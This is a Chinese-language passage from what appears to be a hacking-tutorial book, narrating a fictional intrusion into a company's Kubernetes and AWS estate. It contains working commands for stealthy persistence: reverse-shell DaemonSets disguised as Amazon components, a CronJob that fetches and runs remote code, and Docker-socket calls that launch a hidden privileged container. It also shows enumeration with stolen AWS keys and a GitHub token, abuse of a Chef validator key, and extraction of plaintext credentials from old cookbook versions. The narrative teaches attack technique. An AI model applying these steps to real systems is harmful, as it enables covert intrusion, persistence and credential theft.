我们将这个更新后的清单推送到集群,它将创建 DaemonSet 对象和三个反向 shell 容器:

shell> **kubectl -f apply -n kube-system aws-ds-manifest.yaml**
daemonset.apps/aws-node-cni created

# Metasploit container

[*] https://0.0.0.0:443 handling request from 34.244.205.187;
meterpreter > **getuid**
Server username: uid=0, gid=0, euid=0, egid=0

太棒了。节点可能会崩溃,Pods 也可能会被清除,但只要有节点带有 kafka-collector-broker 标签,我们的恶意容器就会一次又一次地在它们上面被调度,复活我们的后门。毕竟,谁敢质疑那些明显与 EKS 集群关键组件相关的、看起来像是 Amazon 的 Pod 呢?虽然通过模糊安全性可能不是一种成功的防御策略,但它在进攻世界中是一条黄金法则。

隐秘的后门

我们的稳定后门非常坚韧,可以在节点终止时存活,但它有点显眼。Pod 和 DaemonSet 会持续运行,并在集群中可见。因此,我们通过一个更加隐秘的后门来补充它,这个后门只有在偶尔启动时才会激活。

我们在集群级别设置了一个 cron 任务,该任务每天上午 10 点执行,激活一个 Pod。我们将使用与 DaemonSet 中不同的 AWS 账户,确保我们的后门数据或技术不会相互共享。Listing 9-6 展示了 cron 任务的清单文件。

apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: metrics-collect
spec:
  schedule: "0 10 * * *"
  jobTemplate:
 spec:
      template:
        spec:
          containers:
          - name: metrics-collect
            image: 882347352467.dkr.ecr.eu-west-1.amazonaws.com/amazon-metrics-collector
            volumeMounts:
            - mountPath: /var/run/docker.sock
              name: dockersock
          volumes:
          - name: dockersock
            hostPath:
              path: /var/run/docker.sock
          restartPolicy: Never

Listing 9-6: 我们的隐秘后门的定时任务

这个 cron 任务从我们控制的另一个 AWS 账户加载 amazon-metrics-collector 镜像。这个 Docker 镜像结构更为复杂,甚至可能被误认为是合法的度量任务(见 Listing 9-7)。

# Dockerfile

FROM debian: buster-slim

RUN apt update && apt install -y git make
RUN apt install -y prometheus-varnish-exporter
COPY init.sh /var/run/init.sh

ENTRYPOINT ["/var/run/init.sh"]

Listing 9-7: 一个 Dockerfile,安装多个软件包并在启动时执行脚本

在那些无用软件包和数十行虚假代码的表面下,我们在 init.sh 文件中深藏了一个指令,该指令会下载并执行托管在 S3 上的自定义脚本。最初,这个远程脚本将是一个无害的 echo 命令。当我们想要激活这个后门以重新获得系统访问时,我们将用我们自定义的 meterpreter 覆盖 S3 上的文件。它是一种潜伏的 shell,只有在紧急情况下才会使用。

然而,这种设置并不能完全解决原始问题的可见性问题。一旦我们激活了 shell,我们将在系统上有一个持续运行的 pod,Kube 管理员都能看到。

一项优化是避免直接在外部容器的 metrics-collector pod 上执行我们自定义的 stager。相反,我们将使用这个 pod 来联系我们方便挂载的 Docker 套接字,并指示它在主机上启动另一个容器,该容器最终会加载 meterpreter 代理。metrics-collector pod 在完成其工作后可以优雅地终止,而我们的 shell 将继续在其自己的第二个容器中不受干扰地运行。

这个第二个容器对于 Kubernetes 完全是不可见的,因为它没有像 ReplicaSet 或 DaemonSet 这样的现有对象作为附加项,而是由 Docker 在节点上顽固地创建的。这个容器将悄悄地以特权模式继续运行,几乎没有任何监督。列表 9-8 给出了通过 Docker API 拉取、创建和启动这样一个容器的三个 curl 命令。这个脚本应该由我们之前定义的 amazon-metrics-collector 容器加载并执行。

# Pull the image from the ECR registry
curl \
  --silent \
  --unix-socket /var/run/docker.sock \
  "http://docker/images/create?fromImage=881445392307.dkr.ecr.eu-west\
  -1.amazonaws.com/pause-amd64" \
  -X POST

# Create the container from the image and mount the / directory
curl \
  --silent \
  --unix-socket /var/run/docker.sock \
  "http://docker/containers/create?name=pause-go-amd64-4413" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{ "Image": "881445392307.dkr.ecr.eu-west-1.amazonaws.com/pause-amd64",\
  "Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}'

# Start the container
curl \
  --silent \
  --unix-socket /var/run/docker.sock \
  "http://docker/containers/pause-go-amd64-4413/start" \
  -X POST \
  -H "Content-Type: application/json" \
  --output /dev/null \
  --write-out "%{http_code}"

列表 9-8:拉取新的 Docker 镜像、创建容器并启动的脚本

为了进一步掩盖我们的流氓容器,我们将它藏匿在通常在任何给定节点上运行的众多 pause 容器 中。pause 容器在 Kubernetes 架构中扮演着关键角色,因为它是继承分配给 Pod 的所有命名空间,并与其中的容器共享的容器。每个 Pod 都有一个 pause 容器,因此再多一个几乎不会引起注意。

在此阶段,我们已经在 Kubernetes 集群中站稳了脚跟。我们可以继续在随机节点上启动进程,以防某人破坏我们的 Kube 资源,但希望到那时我们已经完成了我们的任务。

资源

第四部分

内在的敌人

引力不是一种真理的版本。它就是事实。任何对此有疑问的人都可以跳出十楼窗外。

理查德·道金斯

第十章:内在的敌人

在上一章中,我们接管了 MXR Ads 的交付集群。这为我们提供了数百个密钥,从 AWS 访问密钥到 GitHub 令牌,几乎可以访问参与广告交付的任何数据库。我们还不是 AWS 账户的管理员,但离成为管理员只有一步之遥。我们需要整理所有收集到的数据,并利用这些数据找到提升权限的方法,甚至可能揭示 MXR Ads 与 Gretsch Politico 之间的隐藏联系。

成神之路

我们加载了从 Kube 获取的 AWS 访问密钥,并检查了一个随机用户的权限。例如,第八章中的 Kevin 就是一个很好的目标:

root@Point1:~/# aws iam get-user --profile kevin
"User": {
   "UserName": "kevin.duncan",
`--snip--`

我们知道,默认情况下,IAM 用户在 AWS 上没有任何权限。他们甚至无法更改自己的密码。因此,公司通常会为用户在处理用户和权限的 IAM 服务上授予足够的权限,以执行基本操作,如更改密码、列出策略、启用多因素认证等。

为了限制这些权限的范围,管理员通常会添加条件,要求 IAM API 调用仅针对调用用户。例如,Kevin 可能被允许列出自己的权限,但不能列出其他用户的权限:

root@Point1:~/# aws iam list-attached-user-policies \
**--user-name=kevin.duncan \**
**--profile kevin**

"PolicyArn": "arn:aws:iam::886371554408:policy/mxrads-self-manage",
"PolicyArn": "arn:aws:iam::886371554408:policy/mxrads-read-only",
"PolicyArn": "arn:aws:iam::886371554408:policy/mxrads-eks-admin"

确实,当我们对 Kevin 以外的资源调用 IAM 命令时,就会出现错误,情况如下:

root@Point1:~/# aws iam get-policy \
**--policy-arn mxrads-self-manage \**
**--profile kevin**

An error occurred (AccessDenied) when calling the GetPolicy operation:
User: arn:aws:iam::886371554408:user/kevin.duncan is not authorized to
perform: iam:GetPolicy on resource: policy
arn:aws:iam::886371554408:policy/mxrads-eks-admin...

AWS 在访问权限方面严格把控。幸运的是,Kevin 的策略名称足够明确,我们可以猜测它们的内容:mxrads-eks-admin 表明 Kevin 是 EKS 的管理员,mxrads-read-only 可能赋予 Kevin 只读权限,涉及 MXR Ads 使用的 165 个 AWS 服务中的一部分。现在的问题只是尝试推测具体是哪一部分。最后一个策略,mxrads-self-manage,应该包含 Kevin 管理其账户的权限集。

每个服务可能需要几个小时,甚至几天,才能完全探索,尤其是对于一个如此依赖 AWS 且业务架构复杂的公司。我们需要保持专注:我们在寻找任何与 Gretsch Politico 相关的信息——特别是关于他们的客户或数据分析活动的信息。这可能表现为一个存储 数字广告评级 (DAR) 段(用于衡量广告活动表现)的 S3 桶,一个 RDS 数据库上的表格,一个在 EC2 上运行的 Web 服务器,一个在 API Gateway 上的代理服务,一个在 AWS 简单队列服务 (SQS) 上的消息队列……这些都可能分布在当前可用的多个 AWS 区域中。是的,我理解并与你分享这种挫败感。

幸运的是,AWS 有一个有用的 API,跨多个资源类型和服务,适用于给定的区域:资源组标记 API。只要对象拥有标签或标识符,该 API 就会返回 S3 存储桶、VPC 终端节点、数据库等。任何具有最基本基础设施管理的公司都会确保对其资源进行标记,哪怕只是为了计费目的,因此我们可以相当有信心这个 API 返回的结果是准确且全面的。我们首先列出eu-west-1区域的资源,如列表 10-1 所示。

root@Point1:~/# aws resourcegroupstaggingapi get-resources \
**--region eu-west-1 \**
**--profile kevin > tagged_resources_euw1.txt**

root@Point1:~/# head tagged_resources_euw1.txt

ResourceARN: arn:aws:ec2:eu-west-1:886371554408:vpc/vpc-01e638,
Tags: [ "Key": "Name", "Value": "privateVPC"]
--`snip`--
arn:aws:ec2:eu-west-1:886371554408:security-group/sg-07108...
arn:aws:lambda:eu-west-1:886371554408:function:tag_index
arn:aws:events:eu-west-1:886371554408:rule/asg-controller3
arn:aws:dynamodb:eu-west-1:886371554408:table/cruise_case
`--snip--`

列表 10-1:列出eu-west-1的资源

如果 Kevin 没有列出资源标签(tag:GetResources)的必要权限,我们只能手动开始探索最常用的 AWS 服务,如 EC2、S3、Lambda、RDS、DynamoDB、API Gateway、ECR、KMS 和 Redshift。Redshift是一个优化用于分析的托管 PostgreSQL,DynamoDB是一个托管的非关系型数据库,模仿 MongoDB,API Gateway是一个托管代理,转发请求到你选择的后端,Lambda是一个在 AWS 自己的实例上运行你代码的服务(稍后会详细介绍)。这些基础服务甚至被 AWS 自身用于构建更复杂的服务,如 EKS,实际上它不过是 EC2、ECR、API Gateway、Lambda、DynamoDB 和其他服务的组合。

从列表 10-1 中,我们从 MXR Ads 的账户中提取了超过 8,000 个标记资源,因此我们自然会转向我们信赖的grep命令来查找有关 GP 的引用:

root@Point1:~/# egrep -i "gretsch|politico|gpoli" tagged_resources_euw1.txt

ResourceARN: arn:aws:lambda:eu-west-1:886477354405:function:dmp-sync-gretsch-politico,
`--snip--`

太棒了!我们的隐藏线索在这里。MXR Ads 有一个 Lambda 函数,似乎与 Gretsch Politico 交换数据。AWS Lambda 是无服务器世界中的黄金标准。你将 Python 源代码、Ruby 脚本或 Go 二进制文件打包成 ZIP 文件,连同一些环境变量和 CPU/内存配置一起发送到 AWS Lambda,AWS 会为你运行它。

这个过程不涉及机器配置、systemd 设置和 SSH。你只需指定一个 ZIP 文件,它会在你选择的时间执行。Lambda 函数甚至可以由其他 AWS 服务触发的外部事件启动,比如 S3 上的文件接收。Lambda 是一个被美化的 crontab,改变了人们编排工作负载的方式。

让我们仔细看一下这个dmp-sync Lambda 函数(参见列表 10-2)。

root@Point1:~/# aws lambda get-function  \
**--function-name dmp-sync-gretsch-politico \**
**--region eu-west-1 \**
**--profile kevin**

`--snip--`
RepositoryType: S3,
Location: https://mxrads-lambdas.s3.eu-west-1.amazonaws.com/functions/dmp-sync-gp?versionId=YbSa...

列表 10-2:dmp-sync Lambda 函数的描述

我们在列表 10-2 中看到,Lambda 函数从 S3 路径mxrads-lambdas/dmp-sync-gp中获取它需要执行的编译代码。我们立刻冲向键盘,开始输入下一个命令:

root@Point1:~/# aws s3api get-object \
**--bucket mxrads-lambdas \**
**--key functions/dmp-sync-gp dmp-sync-gp \**
**--profile kevin**

An error occurred (AccessDenied) when calling the GetObject operation:
Access Denied

但遗憾的是,Kevin 没有足够的权限来访问这个存储桶。过去几天我们收到的“访问被拒绝”信息多得足以堆成一堵墙。

相反,我们更仔细地查看 Lambda 定义,发现它模拟了 AWS 角色lambda-dmp-sync,并依赖几个环境变量来执行其任务(参见清单 10-3)。

root@Point1:~/# aws lambda get-function \
**--function-name dmp-sync-gretsch-politico \**
**--region eu-west-1 \**
**--profile kevin**

`--snip--`
Role: arn:aws:iam::886371554408:role/lambda-dmp-sync,
Environment: {
   Variables: {
     1 SRCBUCKET: mxrads-logs,
     2 DSTBUCKET: gretsch-streaming-jobs,
      SLACK_WEBHOOK: AQICAHajdGiAwfogxzeE887914...,
      DB_LOGS_PASS: AQICAHgE4keraj896yUIeg93GfwEnep...
`--snip--`

清单 10-3:dmp-sync Lambda 函数的配置

这些设置表明代码处理的是 MXR Ads 的日志 1,并且可能会在将其发送到 Gretsch Politico 的 S3 桶 2 之前,用与投放活动相关的额外信息填充这些日志。

我们发现这个 GP 桶是一个外部桶,因为它不出现在我们当前的 MXR Ads 桶列表中。不用说,我们当前的访问密钥根本无法列出这个外部桶,但我们知道与 Lambda(lambda-dmp-sync)相关联的角色可以。问题是,我们如何模拟这个角色呢?

一种可能的方式是通过获取包含此 Lambda 函数源代码的 GitHub 仓库来模拟 Lambda 角色——假设我们能找到一个具有读写权限的账户。然后,我们可以偷偷地将几行代码加入其中,在运行时获取角色的访问密钥,并用它们读取桶中的内容。这很诱人,但该过程存在显著风险。通过 Slack 通知和 GitHub 邮件,最小的提交都可能广播给整个技术团队。显然,这并不是理想的选择。

AWS 确实提供了一种通过 STS API 模拟任何角色的自然方式,但,天哪,我们需要一些权限才能调用此命令。没有理智的管理员会将 STS API 包括在分配给开发人员的只读策略中。

让我们暂时放下模拟角色的想法,继续探索其他 AWS 服务。肯定有我们可以利用的服务来提升权限。

让我们检查一下 EC2 服务,并描述所有运行的实例(参见清单 10-4)。还记得我们在第八章尝试时,受限于 Kubernetes 节点吗?感谢 Kevin 的广泛只读权限,这些限制已经被解除。

root@Point1:~/# aws ec2 describe-instances \
**--region=eu-west-1 \**
**--profile kevin > all_instances_euw1.txt**

root@Point1:~/# head all_instances_euw1.txt
--`snip`--
"InstanceId": "i-09072954011e63aer",
"InstanceType": "c5.4xlarge",
"Key": "Name",  "Value": "cassandra-master-05789454"

"InstanceId": "i-08777962411e156df",
"InstanceType": "m5.8xlarge",
"Key": "Name",  "Value": "lib-jobs-dev-778955944de"

"InstanceId": "i-08543949421e17af",
"InstanceType": "c5d.9xlarge",
"Key": "Name",  "Value": "analytics-tracker-master-7efece4ae"

`--snip--`

清单 10-4:描述eu-west-1的 EC2 实例

我们发现,仅在eu-west-1区域就有接近 2,000 台机器——几乎是 Kubernetes 生产集群所处理的三倍。MXR Ads 几乎没有深入使用 Kube;它还没有迁移其余的工作负载和数据库。

在这 2,000 台机器中,我们需要选择一个目标。让我们不考虑业务应用程序;我们通过艰难的经验学到,MXR Ads 严格限制了其 IAM 角色。最开始,我们在进行基本侦查时,每次获取访问权限都非常困难。不,若要完全控制 AWS,我们需要接管一款基础设施管理工具。

自动化工具接管

即使有 AWS 提供的所有自动化工具,没有一支团队能够在没有广泛工具集的帮助下管理 2000 台服务器和数百个微服务,而这些工具集需要调度、自动化和标准化操作。我们正在寻找像 Rundeck、Chef、Jenkins、Ansible、Terraform、TravisCI 或任何其他数百种 DevOps 工具中的某一个。

Terraform 帮助追踪在 AWS 上运行的组件,Ansible 配置服务器并安装所需的软件包,Rundeck 在数据库之间调度维护任务,而 Jenkins 则构建应用程序并将其部署到生产环境中。随着公司规模的扩大,它需要一套稳固的工具和标准来支持和推动这种增长。我们正在浏览运行机器的列表,寻找工具名称:

root@Point1:~/# egrep -i -1 \
**"jenkins|rundeck|chef|terraform|puppet|circle|travis|graphite" all_instances_euw1.txt**

"InstanceId": "i-09072954011e63aer",
"Key": "Name",  "Value": "jenkins-master-6597899842"
PrivateDnsName": "ip-10-5-20-239.eu-west-1.compute.internal"

"InstanceId": "i-08777962411e156df",
"Key": "Name",  "Value": "chef-server-master-8e7fea545ed"
PrivateDnsName": "ip-10-5-29-139.eu-west-1.compute.internal"

"InstanceId": "i-08777962411e156df",
"Key": "Name",  "Value": "jenkins-worker-e7de87adecc"
PrivateDnsName": "ip-10-5-10-58.eu-west-1.compute.internal"

`--snip--`

太棒了!我们找到了关于 Jenkins 和 Chef 的信息。让我们聚焦这两个组件,因为它们具有巨大的潜力。

Jenkins 万能

Jenkins 是一款复杂的软件,可以承担多种角色。例如,开发者可以使用它以自动化方式编译、测试和发布他们的代码。为此,当一个新文件被推送到仓库时,GitHub 会触发一个 POST 请求(webhook)到 Jenkins,后者会对新推送的应用版本进行端到端测试。一旦代码合并,Jenkins 会自动触发另一个作业,将代码部署到生产服务器。这一过程通常被称为持续 集成/持续交付 (CI/CD)

另一方面,管理员可以用它来执行某些基础设施任务,如创建 Kubernetes 资源或在 AWS 上生成新机器。数据科学家可能会安排他们的工作负载,从数据库中提取数据,进行转换,然后推送到 S3。企业界的使用场景非常丰富,只受 DevOps 从业人员的想象力(有时也受限于清醒程度)限制。

像 Jenkins 这样的工具,实际上是推动并实现 DevOps 思想中那些理想化的理念的代理。的确,对于每家公司来说,从零开始实现像持续测试和交付这样复杂的系统几乎是不可能的。对每一个细小操作的近乎病态的自动化痴迷,使得像 Jenkins 这样的工具从简单的测试框架,逐渐发展成任何基础设施中的至高神明。

由于 Jenkins 需要动态地测试和构建应用程序,因此通常会有一个 GitHub token 存储在某个磁盘位置。它还需要将应用程序和容器部署到生产环境中,因此管理员通常会将包含 ECR、EC2 以及可能的 S3 写权限的 AWS 访问密钥添加到 Jenkins 配置文件中。管理员还希望利用 Jenkins 执行 Terraform 命令,而 Terraform 本身完全控制 AWS。现在,Jenkins 也拥有这种控制权。而且由于 Terraform 是由 Jenkins 作业管理的,为什么不将 Kubernetes 命令也添加进去,以便集中管理操作呢?来吧,给我获取那些集群管理员权限,Jenkins 需要它们。

如果没有密切监控,这些 CI/CD 管道——在这种情况下是 Jenkins——很快就会发展成复杂网络的交汇点,基础设施神经纤维的交织处,如果被轻柔而熟练地刺激,可能会导致狂喜——而这正是我们要做的。

我们坦率地尝试直接访问 Jenkins 而不进行身份验证。Jenkins 默认监听在 8080 端口,所以我们使用现有的 meterpreter shell 向服务器发出 HTTP 查询:

# Our backdoored pod on the Kubernetes cluster

meterpreter > **execute curl -I -X GET -D http://ip-10-5-20-239.eu-west-1.compute.internal:8080**

HTTP/1.1 301
Location: https://www.github.com/hub/oauth_login
content-type: text/html; charset=iso-8859-1
`--snip--`

我们会立即被拒绝。这完全正常,毕竟,任何依赖这种关键组件进行交付的合格公司都会采取最低限度的保护措施。通往 Jenkins 的道路并不是从正门,而是通过小巷窗口中的一个小缝隙:那个可能最初帮助设置 Jenkins 的 Chef 服务器。

地狱厨房

Chef,像 Ansible 一样,是一个软件配置工具。你将一台新安装的机器注册到 Chef,然后它会拉取并执行一组预定义的指令,自动设置机器上的工具。例如,如果你的机器是一个 web 应用,Chef 会安装 Nginx,设置 MySQL 客户端,复制 SSH 配置文件,添加管理员用户,并安装任何其他所需的软件。

配置指令用 Ruby 编写,并按 Chef 的说法分组为所谓的 cookbook 和 recipe。列表 10-5 是一个 Chef 配方的例子,它创建了一个 config.json 文件并将用户添加到 docker 组。

# recipe.rb

# Copy the file seed-config.json on the new machine
cookbook_file config_json do
  source 'seed-config.json'
  owner 'root'
end

# Append the user admin to the docker group
group 'docker' do
    group_name 'docker'
    append  true
    members 'admin'
    action  :manage
end
`--snip--`

列表 10-5:一个 Chef 配方,它创建一个 config.json 文件并将用户添加到 docker

密码和密钥是任何服务器配置中的关键元素——尤其是像 Jenkins 这样,由于其设计的性质,几乎与基础设施的每个组件都有交互的服务器。没错,我说的就是 Jenkins!

如果你严格遵循良好的 DevOps 实践,一切都应该是自动化的、可重复的,更重要的是,有版本控制。你不能手动安装 Jenkins 或任何其他工具。你必须使用像 Chef 或 Ansible 这样的管理工具来描述你的 Jenkins 配置,并将其部署到一台全新的机器上。对这个配置的任何更改,比如升级插件或添加用户,都应该通过这个管理工具,它会跟踪、版本控制并测试这些更改,然后再将其应用到生产环境中。这就是基础设施即代码的本质。开发人员最喜欢的代码版本控制系统是什么?当然是 GitHub!

我们可以通过列出 MXR Ads 的所有私有仓库,并查找任何提到 Jenkins 相关的 Chef cookbook,快速验证 Chef 配方是否存储在 GitHub 上以供此任务使用。记住,我们已经有一个有效的 GitHub token,得益于 Kubernetes。我们首先提取仓库列表:

# list_repos.py
from github import Github
g = Github("9c13d31aaedc0cc351dd12cc45ffafbe89848020")
for repo in g.get_user().get_repos():
    print(repo.name, repo.clone_url)

然后我们搜索 cookbookJenkinsChefrecipe 等关键字的引用(见 列表 10-6)。

root@Point1:~/# python3 list_repos.py > list_repos.txt
root@Point1:~/# egrep -i "cookbook|jenkins|chef" list_repos.txt
cookbook-generator https://github.com/mxrads/cookbook-generator.git
cookbook-mxrads-ami https://github.com/mxrads/cookbook-ami.git
1 cookbook-mxrads-jenkins-ci https://github.com/mxrads/cookbook-jenkins-ci.git
--`snip`--

列表 10-6:符合至少一个关键字cookbookJenkinsChef的 MXR Ads 仓库列表

命中 1!我们下载了 cookbook-mxrads-jenkins-ci 仓库:

root@Point1:~/# git clone https://github.com/mxrads/cookbook-jenkins-ci.git

然后我们通过源代码,希望找到一些硬编码的凭据:

root@Point1:~/# egrep -i "password|secret|token|key" cookbook-jenkins-ci

default['jenkins']['keys']['operations_redshift_rw_password'] = 'AQICAHhKmtEfZEcJQ9X...'
default['jenkins']['keys']['operations_aws_access_key_id'] = 'AQICAHhKmtEfZEcJQ9X...'
default['jenkins']['keys']['operations_aws_secret_access_key'] = 'AQICAHhKmtEfZEcJQ9X1w...'
default['jenkins']['keys']['operations_price_cipher_crypto_key'] = 'AQICAHhKmtEfZE...'

我们发现,约有 50 个密钥在一个方便的文件secrets.rb中定义,但不要急于兴奋。这些可不是普通的明文密码。它们的开头都以六个魔法字母AQICAH开头,这表明它们使用了 AWS KMS,这是 AWS 提供的密钥管理服务,用于加密/解密静态数据。访问它们的解密密钥需要特定的 IAM 权限,而我们的用户 Kevin 很可能没有这些权限。该 cookbook 的 README 文件对密钥管理有明确说明:

# README.md

KMS Encryption :

Secrets must now be encrypted using KMS. Here is how to do so.
Let's say your credentials are in /path/to/credentials...

我最喜欢的那个句子中的关键字是“现在”。这表明不久前,密钥的处理方式可能与现在不同,可能根本没有加密。我们查看了 Git 提交历史:

root@Point1:~/# git rev-list --all | xargs git grep "aws_secret"

e365cd828298d55...:secrets.rb:
default['jenkins']['keys']['operations_aws_secret_access_key'] = 'AQICAHhKmtEfZEcJQ9X1w...'

623b30f7ab4c18f...:secrets.rb:
default['jenkins']['keys']['operations_aws_secret_access_key'] = 'AQICAHhKmtEfZEcJQ9X1w...'

一定有人对它进行了彻底清理。所有之前版本的secrets.rb都包含相同的加密数据。

没关系。GitHub 并不是唯一一个存储 cookbooks 的版本化仓库。Chef 有自己的本地数据存储库,用于存储其资源的不同版本。运气好的话,也许我们可以下载一个包含明文凭据的早期版本的 cookbook。

与 Chef 服务器的通信通常是经过充分保护的。每台由 Chef 管理的服务器都会获得一个专用的私钥,用于下载 cookbooks、策略和其他资源。管理员还可以使用 API 令牌来执行远程任务。

然而,值得庆幸的是,资源之间没有隔离。我们所需要的只是一个有效的私钥,哪怕是属于某个虚拟测试服务器的私钥,也能读取 Chef 上曾存储过的每个 cookbook 文件。生活不就是信任吗!

那个私钥应该不难找到。我们可以读取 EC2 API,涉及约 2,000 台服务器。肯定有一台服务器的用户数据中硬编码了 Chef 私钥。我们只需要执行 2,000 次 API 调用。

起初看似繁琐且细致的任务其实可以轻松自动化。多亏了存储在 MXR Ads GitHub 仓库中的 cookbooks,我们已经知道哪些服务依赖于 Chef:Cassandra(NoSQL 数据库)、Kafka(流处理软件)、Jenkins、Nexus(代码仓库)、Grafana(仪表板和度量)等。

我们将这些服务名称作为关键字存储在文件中,然后将它们输入到一个循环中,从中获取带有匹配关键字标签名称的实例,如下所示。我们提取每个机器池中每个服务的第一个实例 ID,因为例如,所有 Cassandra 机器可能共享相同的用户数据,所以我们只需要一个实例:

root@Point1:~/# while read p; do
 **instanceID=$(aws ec2 describe-instances \**
 **--filter "Name=tag:Name,Values=*$p*" \**
 **--query 'Reservations[0].Instances[].InstanceId' \**
 **--region=eu-west-1 \**
 **--output=text)**
 **echo $instanceID > list_ids.txt**
**done <services.txt**

这种相对临时的采样方法让我们得到了大约 20 个实例 ID,每个 ID 对应一台承载不同服务的机器:

root@Point1:~/# head list_ids.txt
i-08072939411515dac
i-080746959025ceae
i-91263120217ecdef
`--snip--`

我们循环遍历这个文件,调用ec2 describe-instance-attribute API 来获取用户数据,解码并将其存储到文件中:

root@Point1:~/# while read p; do
 **userData=$(aws ec2 describe-instance-attribute \**
 **--instance-id $p \**
 **--attribute userData \**
 **--region=eu-west-1 \**
 **| jq -r .UserData.Value | base64 -d)**
 **echo $userData > $p.txt**
**done <list_ids.txt**

我们检查创建了多少个文件,并确认这些文件包含用户数据脚本:

root@Point1:~/# ls -l i-*.txt |wc -l
21
root@Point1:~/# cat i-08072939411515dac.txt
encoding: gzip+base64
  path: /etc/ssh/auth_principals/user
  permissions: "0644"
- content: |-
    #!/bin/bash
`--snip--`

完美。现在到了关键时刻。这些出色的服务器中有哪一台在其用户数据中声明了 Chef 私钥?我们寻找“RSA PRIVATE KEY”关键字:

root@Point1:~/# grep -7 "BEGIN RSA PRIVATE KEY" i-*.txt
`--snip--`
1 cat << EOF
chef_server_url 'https://chef.mxrads.net/organizations/mxrads'
validation_client_name 'chef-validator'
EOF
)> /etc/chef/client.rb

`--snip--`
2 cat << EOF
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqg/6woPBdnwSVjcSRQenRJk0MePELfPp
`--snip--`
)> /etc/chef/validation.pem

这几乎太简单了。第一段代码定义了 Chef 使用的关键参数,并将其存储在 client.rb 文件中。第二段代码将私钥写入名为 validation.pem 的文件。

这个私钥与我们希望获得的不同,但我们会让它发挥作用。我们获得的密钥是一个验证密钥,它是 chef-validator 用户的私钥,分配给实例以建立它们与 Chef 服务器的第一次联系。chef-validator 不允许列出机器、食谱或执行其他敏感操作,但它拥有注册客户端(机器)的最终权限,最终授予它们可以执行上述操作的私钥。事事顺利,最终大功告成。

这个用户的私钥在所有希望加入 Chef 服务器的实例之间共享。所以,自然地,我们也可以使用它注册一台额外的机器,并获得我们自己的私钥。我们只需要模拟一个真实的客户端配置,并在 VPC 内部向 Chef 服务器请求。

我们创建所需的文件来启动机器注册——client.rb 1 和 validation.pem 2——并将从用户数据脚本中收集到的数据填充到这些文件中,如下所示。这只是懒惰的复制粘贴而已:

meterpreter > **execute -i -f cat << EOF**
chef_server_url 'https://chef.mxrads.net/organizations/mxrads'
validation_client_name 'chef-validator'
EOF
)> /etc/chef/client.rb

meterpreter > **execute -i -f cat << EOF**
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqg/6woPBdnwSVjcSRQenRJk0MePELfPp
`--snip--`
)> /etc/chef/validation.pem

然后,我们从我们的后门中下载并执行 Chef 客户端,启动我们的机器注册过程:

meterpreter > **execute -i -f apt update && apt install -y chef**
meterpreter > **execute -i -f chef-client**

Starting Chef Client, version 14.8.12
Creating a new client identity for aws-node-78ec.eu-west-1.compute.internal
using the validator key.

Synchronizing Cookbooks:
Installing Cookbook Gems:
Compiling Cookbooks...
Running handlers complete
Chef Client finished, 0/0 resources updated in 05 seconds

meterpreter > **ls /etc/chef/**

client.pem client.rb validation.pem

就是这样。我们完成了。我们偷偷将一台新机器加入了 Chef 服务器的目录,并收到了一个名为 client.pem 的新私钥。

chef-client 可执行文件负责处理机器的状态,包括应用相关的食谱、注册机器等。为了探索在 Chef 服务器上定义的资源,我们需要使用 knife 工具。它是 Chef 标准包的一部分,但需要一个小的配置文件才能正常运行。下面是一个配置文件示例,基于之前执行的 chef-client 命令的输出(用来获取机器的名称)和 client.rb 配置:

# ~/root/.chef/knife.rb
node_name       'aws-node-78ec.eu-west-1.compute.internal'
client_key      '/etc/chef/client.pem'
chef_server_url 'https://chef.mxrads.net/organizations/mxrads'
knife[:editor] = '/usr/bin/vim'

配置好 knife 后,让我们使用它列出 Chef 服务器的食谱目录:

meterpreter > **knife cookbooks list**
apt                         7.2.0
ark                         4.0.0
build-essential             8.2.1
jenkins-ci                  10.41.5
`--snip--`

太棒了,我们亲爱的 jenkins-ci 食谱就在这里。让我们仔细看看这个食谱的版本历史:

meterpreter > **knife cookbooks show jenkins-ci**
10.9.5 10.9.4 10.9.4 10.9.3 10.9.2 10.9.1 10.9.8 10.9.7...
4.3.1 4.3.0 3.12.9 3.11.8 3.11.7 3.9.3 3.9.2 3.9.1

我们可以看到,狡猾的 Chef 服务器保存了超过 50 个版本的食谱,从 10.9.5 一直到 3.9.1。现在,我们需要找到带有明文凭证的最新食谱——理想情况下,是在切换到 KMS 之前的版本。

我们开始检查不同的版本,从最新版本开始,经过几次尝试后,我们最终找到了 10.8.6 版本的食谱:

meterpreter > **knife cookbooks show jenkins-ci 10.8.6**
attributes:
  checksum:    320a841cd55787adecbdef7e7a5f977de12d30
  name:        attributes/secrets.rb
  url:         https://chef.mxrads.net:443/bookshelf/organization-
26cbbe406c5e38edb280084b00774500/checksum-320a841cd55787adecbdef7e7a5f977de12d30?AWSAccessKeyId=25ecce65728a200d6de4bf782ee0a5087662119
&Expires=1576042810&Signature=j9jazxrJjPkHQNGtqZr1Azu%2BP24%3D
--`snip`--
meterpreter > **curl https://chef.mxrads.net:443/bookshelf/org...**

1'AWS_JENKINS_ID' => 'AKIA55ZRK6ZS2XX5QQ4D',
  'AWS_JENKINS_SECRET' => '6yHF+L8+u7g7RmHcudlCqWIg0SchgT',
`--snip--`

我的天,我们找到了!Jenkins 自己的 AWS 访问密钥以明文形式存储 1。如果这个小家伙不是 AWS 账户的管理员,那我真不知道谁能是了。

在列表 10-7 中,我们通过链式调用几个 AWS API 来获取与这些凭证关联的 IAM 用户名、其附加的策略、最新版本,最后是它们的内容。

root@Point1:~/# vi ~/.aws/credentials
[jenkins]
aws_access_key_id = AKIA55ZRK6ZS2XX5QQ4D
aws_secret_access_key = 6yHF+L8+u7g7RmHcudlCqWIg0SchgT

# get username
root@Point1:~/# aws iam get-user --profile jenkins
"UserName": "jenkins"

# list attached policies
root@Point1:~/# aws iam list-attached-user-policies \
**--user-name=jenkins \**
**--profile jenkins**

"PolicyName": "jenkins-policy",
"PolicyArn": "arn:aws:iam::aws:policy/jenkins-policy"

# get policy version
root@Point1:~/# aws iam iam get-policy \
**--policy-arn arn:aws:iam::886371554408:policy/jenkins-policy \**
**--profile jenkins**

"DefaultVersionId": "v4",

# get policy content

root@Point1:~/# aws iam iam get-policy-version \
**--policy-arn arn:aws:iam::886371554408:policy/jenkins-policy \**
**--version v4 \**
**--profile jenkins**
`--snip--`
"Action": [
        "iam:*",
        "ec2:*",
        "sts:*",
        "lambda:*",
         . . .
         ],
